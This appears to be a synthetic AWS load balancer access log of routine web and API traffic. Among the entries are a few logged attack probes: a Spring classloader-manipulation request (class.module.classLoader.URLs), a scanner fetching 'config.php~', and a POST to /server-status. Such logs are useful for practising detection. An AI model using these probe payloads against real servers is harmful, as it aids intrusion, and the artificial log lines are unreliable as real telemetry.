arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1b1-327c017eb29b429a9ac8a6b7" "prod-api-alb.example.com" "-" 9 2024-11-01T01:51:29.126163Z "forward" "-" "-" "10.0.153.105:443" "200" "-" "-" -https 2024-11-01T01:51:29.701619Z staging-alb 240.152.174.246:26350 65.63.51.135:8080 0.090734 0.379411 0.143572 200 200 283 12989 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b1-e4ee6da709d043188b8a56e1" "staging-alb.example.com" "-" 9 2024-11-01T01:51:29.701619Z "forward" "-" "-" "65.63.51.135:8080" "200" "-" "-" -https 2024-11-01T01:51:30.385695Z prod-api-alb 199.77.50.136:27946 10.0.180.202:443 0.036423 0.401940 0.044416 200 200 305 13474 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1b2-e9bf5ececff44ecba35c025b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:30.385695Z "forward" "-" "-" "10.0.180.202:443" "200" "-" "-" -https 2024-11-01T01:51:31.976771Z prod-web-alb 206.111.25.166:44246 10.0.111.20:443 0.057574 0.219916 0.043272 301 301 360 5342 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1b3-7e51234b09574071b6aa3099" "prod-web-alb.example.com" "-" 1 2024-11-01T01:51:31.976771Z "forward" "-" "-" "10.0.111.20:443" "301" "-" "-" -https 2024-11-01T01:51:33.310118Z staging-alb 231.110.225.129:17390 138.117.43.200:8080 0.017348 0.299810 0.098857 200 200 364 6464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b5-ef5cbdc3fcaa4707bb0ba881" "staging-alb.example.com" "-" 9 2024-11-01T01:51:33.310118Z "forward" "-" "-" "138.117.43.200:8080" "200" "-" "-" -https 2024-11-01T01:51:33.673788Z staging-alb 88.159.216.21:39989 237.251.190.192:443 0.054328 0.430745 0.007233 200 200 953 6217 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b5-576bbca969954053bed755cd" "staging-alb.example.com" "-" 9 2024-11-01T01:51:33.673788Z "forward" "-" "-" "237.251.190.192:443" "200" "-" "-" -https 2024-11-01T01:51:34.146126Z staging-alb 12.197.111.115:35501 175.203.193.254:80 0.023428 0.661382 0.144680 200 200 241 735 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1b6-f31e81603320489496813b0e" "staging-alb.example.com" "-" 9 2024-11-01T01:51:34.146126Z "forward" "-" "-" "175.203.193.254:80" "200" "-" "-" -https 2024-11-01T01:51:35.369354Z prod-web-alb 218.186.37.110:47236 10.0.182.147:443 0.063491 0.175147 0.089642 200 200 520 1634 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1b7-18f6110a6716493fa6768561" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:35.369354Z "forward" "-" "-" "10.0.182.147:443" "200" "-" "-" -https 2024-11-01T01:51:37.154974Z prod-api-alb 89.103.41.190:16659 10.0.107.108:443 0.085825 0.021417 0.051584 200 200 960 4246 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1b9-77df521c0a384423a03c6666" "prod-api-alb.example.com" "-" 5 2024-11-01T01:51:37.154974Z "forward" "-" "-" "10.0.107.108:443" "200" "-" "-" -https 2024-11-01T01:51:38.365266Z prod-api-alb 189.167.21.55:32845 10.0.35.82:443 0.095886 0.026273 0.061318 200 200 176 1384 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ba-6bf79be865914eb2a25385af" "prod-api-alb.example.com" "-" 6 2024-11-01T01:51:38.365266Z "forward" "-" "-" "10.0.35.82:443" "200" "-" "-" -https 2024-11-01T01:51:39.645531Z prod-api-alb 45.167.53.14:54862 10.0.204.22:443 0.055960 0.023257 0.056582 200 200 409 3588 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1bb-fe0a8d4303744a34a1ba6ddd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:51:39.645531Z "forward" "-" "-" "10.0.204.22:443" "200" "-" "-" -https 2024-11-01T01:51:39.985653Z prod-web-alb 129.84.245.116:57232 10.0.131.118:443 0.032086 0.381254 0.060372 301 301 344 14808 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1bb-6426c24ab47f486bbe9e7b0b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:51:39.985653Z "forward" "-" "-" "10.0.131.118:443" "301" "-" "-" -https 2024-11-01T01:51:41.287826Z prod-api-alb 192.215.87.150:60846 10.0.133.241:443 0.038621 0.458501 0.058056 302 302 549 14232 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1bd-8ccda1ddaaa044b483988f86" "prod-api-alb.example.com" "-" 6 2024-11-01T01:51:41.287826Z "forward" "-" "-" "10.0.133.241:443" "302" "-" "-" -https 2024-11-01T01:51:41.477433Z prod-web-alb 191.157.188.108:53223 10.0.223.227:443 0.086098 0.134727 0.000337 200 200 146 7380 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1bd-b45a0784f76d499eaf9ae47c" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:41.477433Z "forward" "-" "-" "10.0.223.227:443" "200" "-" "-" -http 2024-11-01T01:51:43.294147Z staging-alb 63.132.133.50:56979 156.2.178.237:80 0.057476 0.541233 0.137670 200 200 14 14908 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1bf-0c020b1b6b7740a9ba125256" "staging-alb.example.com" "-" 1 2024-11-01T01:51:43.294147Z "forward" "-" "-" "156.2.178.237:80" "200" "-" "-" -https 2024-11-01T01:51:44.617213Z prod-api-alb 174.144.240.124:24902 10.0.82.146:443 0.013903 0.175000 0.034245 200 200 92 458 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1c0-118ebfbaa5c74c579c48de46" "prod-api-alb.example.com" "-" 3 2024-11-01T01:51:44.617213Z "forward" "-" "-" "10.0.82.146:443" "200" "-" "-" -https 2024-11-01T01:51:45.822880Z prod-web-alb 89.58.247.92:44648 10.0.193.196:443 0.027245 0.069191 0.020325 404 404 384 3726 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1c1-6d2170afc74b4076a9faaec1" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:45.822880Z "forward" "-" "-" "10.0.193.196:443" "404" "-" "-" -https 2024-11-01T01:51:46.255413Z prod-web-alb 15.152.21.43:21315 10.0.138.44:443 0.056358 0.238880 0.020220 200 200 592 5515 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c2-4e74f26f40ca49e99b8af683" "prod-web-alb.example.com" "-" 5 2024-11-01T01:51:46.255413Z "forward" "-" "-" "10.0.138.44:443" "200" "-" "-" -https 2024-11-01T01:51:47.119524Z staging-alb 219.32.0.59:51938 157.253.117.197:8080 0.063084 0.504270 0.115235 200 200 54 6352 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1c3-69bb41d9072e49e5b8a6fe01" "staging-alb.example.com" "-" 9 2024-11-01T01:51:47.119524Z "forward" "-" "-" "157.253.117.197:8080" "200" "-" "-" -http 2024-11-01T01:51:48.809273Z staging-alb 192.238.177.9:48675 88.170.2.151:80 0.087207 0.397760 0.047995 200 200 938 4527 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1c4-d16294352b9d49a799953d86" "staging-alb.example.com" "-" 4 2024-11-01T01:51:48.809273Z "forward" "-" "-" "88.170.2.151:80" "200" "-" "-" -https 2024-11-01T01:51:49.881563Z prod-web-alb 6.225.152.108:16718 10.0.55.27:443 0.088518 0.482655 0.079504 200 200 29 3693 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1c5-8ab1f0d544d346febf33041e" "prod-web-alb.example.com" "-" 3 2024-11-01T01:51:49.881563Z "forward" "-" "-" "10.0.55.27:443" "200" "-" "-" -https 2024-11-01T01:51:50.461859Z prod-api-alb 204.157.250.113:20446 10.0.122.160:443 0.012233 0.097979 0.081103 200 200 831 8459 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1c6-819f3e83585a42d29078d70c" "prod-api-alb.example.com" "-" 7 2024-11-01T01:51:50.461859Z "forward" "-" "-" "10.0.122.160:443" "200" "-" "-" -https 2024-11-01T01:51:50.645489Z prod-web-alb 15.28.250.238:15617 10.0.82.144:443 0.027920 0.085202 0.000575 200 200 128 3168 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c6-f099e94a73e14cbcb5ad4055" "prod-web-alb.example.com" "-" 10 2024-11-01T01:51:50.645489Z "forward" "-" "-" "10.0.82.144:443" "200" "-" "-" -https 2024-11-01T01:51:51.807771Z prod-web-alb 26.118.97.200:47496 10.0.64.129:443 0.033027 0.132915 0.004881 404 404 487 7582 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c7-3b9cf574188d4115a8924307" "prod-web-alb.example.com" "-" 8 2024-11-01T01:51:51.807771Z "forward" "-" "-" "10.0.64.129:443" "404" "-" "-" -https 2024-11-01T01:51:52.487654Z prod-api-alb 85.172.144.66:62078 10.0.146.93:443 0.015089 0.277081 0.048922 200 200 753 13665 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1c8-dd584c9dacbb42fd976b9815" "prod-api-alb.example.com" "-" 10 2024-11-01T01:51:52.487654Z "forward" "-" "-" "10.0.146.93:443" "200" "-" "-" -https 2024-11-01T01:51:53.369316Z prod-web-alb 102.135.106.127:26114 10.0.173.174:443 0.035054 0.226223 0.095212 200 200 172 1747 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1c9-c4be4bc0e108442f8e9d1b50" "prod-web-alb.example.com" "-" 1 2024-11-01T01:51:53.369316Z "forward" "-" "-" "10.0.173.174:443" "200" "-" "-" -http 2024-11-01T01:51:53.940830Z staging-alb 242.208.247.173:49804 139.170.251.19:8080 0.109376 0.650674 0.102757 302 302 788 1894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1c9-4ddfa527b37a4e959d911d4a" "staging-alb.example.com" "-" 2 2024-11-01T01:51:53.940830Z "forward" "-" "-" "139.170.251.19:8080" "302" "-" "-" -https 2024-11-01T01:51:55.025020Z prod-api-alb 131.92.187.191:58872 10.0.125.249:443 0.050819 0.404968 0.099661 301 301 121 7670 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1cb-feaaf5fd911a48fc817f0898" "prod-api-alb.example.com" "-" 9 2024-11-01T01:51:55.025020Z "forward" "-" "-" "10.0.125.249:443" "301" "-" "-" -https 2024-11-01T01:51:56.896504Z staging-alb 95.88.16.110:12585 74.117.7.123:443 0.133155 0.609128 0.102593 301 301 226 1082 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1cc-664eb444fc954f149464a3ab" "staging-alb.example.com" "-" 6 2024-11-01T01:51:56.896504Z "forward" "-" "-" "74.117.7.123:443" "301" "-" "-" -https 2024-11-01T01:51:58.446248Z prod-api-alb 193.27.228.139:27721 10.0.125.36:443 0.005882 0.493433 0.056373 403 403 495 8421 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1ce-0fc9a7d9914242c8aa15706b" "-" "-" 9 2024-11-01T01:51:58.446248Z "forward" "-" "-" "10.0.125.36:443" "403" "-" "-" -https 2024-11-01T01:51:59.932658Z prod-web-alb 92.111.149.203:49632 10.0.66.200:443 0.073210 0.145968 0.069147 404 404 277 6254 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1cf-6448311463ef40559ebb2be2" "prod-web-alb.example.com" "-" 0 2024-11-01T01:51:59.932658Z "forward" "-" "-" "10.0.66.200:443" "404" "-" "-" -https 2024-11-01T01:52:00.531051Z prod-web-alb 230.126.84.52:53667 10.0.31.106:443 0.043021 0.382292 0.094644 200 200 489 5850 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1d0-0e4c004c6d434767a2f1175e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:52:00.531051Z "forward" "-" "-" "10.0.31.106:443" "200" "-" "-" -https 2024-11-01T01:52:02.218339Z staging-alb 87.102.250.230:36491 220.57.6.96:443 0.073871 0.123584 0.007692 200 200 165 7971 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1d2-a815eedbd9c94a9190d9a028" "staging-alb.example.com" "-" 3 2024-11-01T01:52:02.218339Z "forward" "-" "-" "220.57.6.96:443" "200" "-" "-" -https 2024-11-01T01:52:03.054728Z prod-api-alb 249.1.160.168:14295 10.0.212.238:443 0.019988 0.198506 0.004894 200 200 588 3748 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1d3-5b0edc3042a049138e2e2b5e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:52:03.054728Z "forward" "-" "-" "10.0.212.238:443" "200" "-" "-" -https 2024-11-01T01:52:04.361186Z prod-api-alb 123.132.122.120:45469 10.0.14.235:443 0.057543 0.191199 0.066813 200 200 529 8782 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1d4-c21eeb199ecb4728af39018f" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:04.361186Z "forward" "-" "-" "10.0.14.235:443" "200" "-" "-" -https 2024-11-01T01:52:04.550463Z prod-web-alb 45.155.205.233:29129 10.0.240.224:443 0.088484 0.194843 0.068128 401 401 903 2691 "POST /config.php~ HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1d4-ed818cac11e84229a3b89741" "-" "-" 0 2024-11-01T01:52:04.550463Z "forward" "-" "-" "10.0.240.224:443" "401" "-" "-" -https 2024-11-01T01:52:06.334758Z prod-web-alb 193.27.228.118:40387 10.0.64.210:443 0.099539 0.046502 0.035966 500 500 287 902 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1d6-6166397dbf9b4beeaa817612" "-" "-" 4 2024-11-01T01:52:06.334758Z "forward" "-" "-" "10.0.64.210:443" "500" "-" "-" -http 2024-11-01T01:52:08.057957Z staging-alb 241.206.45.246:40223 113.94.225.221:8080 0.085610 0.694954 0.024607 301 301 22 9303 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1d8-0c5af091b1354cfdb3bffd00" "staging-alb.example.com" "-" 5 2024-11-01T01:52:08.057957Z "forward" "-" "-" "113.94.225.221:8080" "301" "-" "-" -https 2024-11-01T01:52:09.383453Z staging-alb 201.39.245.72:28145 24.120.0.30:443 0.134179 0.353168 0.051509 301 301 892 14271 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1d9-aab8ab4e8e4448d1b3fd44e2" "-" "-" 8 2024-11-01T01:52:09.383453Z "forward" "-" "-" "24.120.0.30:443" "301" "-" "-" -https 2024-11-01T01:52:10.088941Z staging-alb 162.219.167.75:31783 222.53.86.31:8080 0.142263 0.612919 0.019865 200 200 457 3367 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1da-1b6d1eb52e8b4fd7a2a5f21f" "-" "-" 3 2024-11-01T01:52:10.088941Z "forward" "-" "-" "222.53.86.31:8080" "200" "-" "-" -https 2024-11-01T01:52:10.750800Z staging-alb 170.11.198.128:39244 108.156.183.148:8080 0.128071 0.467845 0.134146 302 302 965 2758 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1da-c32b0396e74440fb96a5d882" "staging-alb.example.com" "-" 5 2024-11-01T01:52:10.750800Z "forward" "-" "-" "108.156.183.148:8080" "302" "-" "-" -https 2024-11-01T01:52:12.419510Z prod-api-alb 111.45.141.57:63692 10.0.53.153:443 0.089355 0.167492 0.086965 301 301 697 9670 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1dc-548172378cc14815949503cb" "prod-api-alb.example.com" "-" 10 2024-11-01T01:52:12.419510Z "forward" "-" "-" "10.0.53.153:443" "301" "-" "-" -https 2024-11-01T01:52:13.393389Z prod-web-alb 93.5.178.229:52618 10.0.30.161:443 0.077856 0.010798 0.040176 200 200 721 3089 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1dd-162b13b396e147d5a02f72f3" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:13.393389Z "forward" "-" "-" "10.0.30.161:443" "200" "-" "-" -https 2024-11-01T01:52:14.239795Z prod-web-alb 25.220.219.146:21009 10.0.129.185:443 0.007127 0.196890 0.072654 200 200 160 3537 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1de-dec867d4e7d6493cb3130a20" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:14.239795Z "forward" "-" "-" "10.0.129.185:443" "200" "-" "-" -https 2024-11-01T01:52:14.943440Z prod-web-alb 182.253.172.124:40141 10.0.13.99:443 0.042161 0.037949 0.036365 200 200 636 3610 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1de-7d5d9e54cf4540f0b9debf3c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:14.943440Z "forward" "-" "-" "10.0.13.99:443" "200" "-" "-" -https 2024-11-01T01:52:16.458576Z prod-api-alb 42.5.159.223:31837 10.0.6.7:443 0.081211 0.128767 0.083274 200 200 727 7186 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1e0-9f7d0a1d9b6c40778f411625" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:16.458576Z "forward" "-" "-" "10.0.6.7:443" "200" "-" "-" -https 2024-11-01T01:52:17.467695Z prod-web-alb 5.67.113.168:43506 10.0.43.251:443 0.024129 0.396934 0.098059 301 301 860 6337 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e1-d080495c71734abbafb2dc64" "prod-web-alb.example.com" "-" 8 2024-11-01T01:52:17.467695Z "forward" "-" "-" "10.0.43.251:443" "301" "-" "-" -https 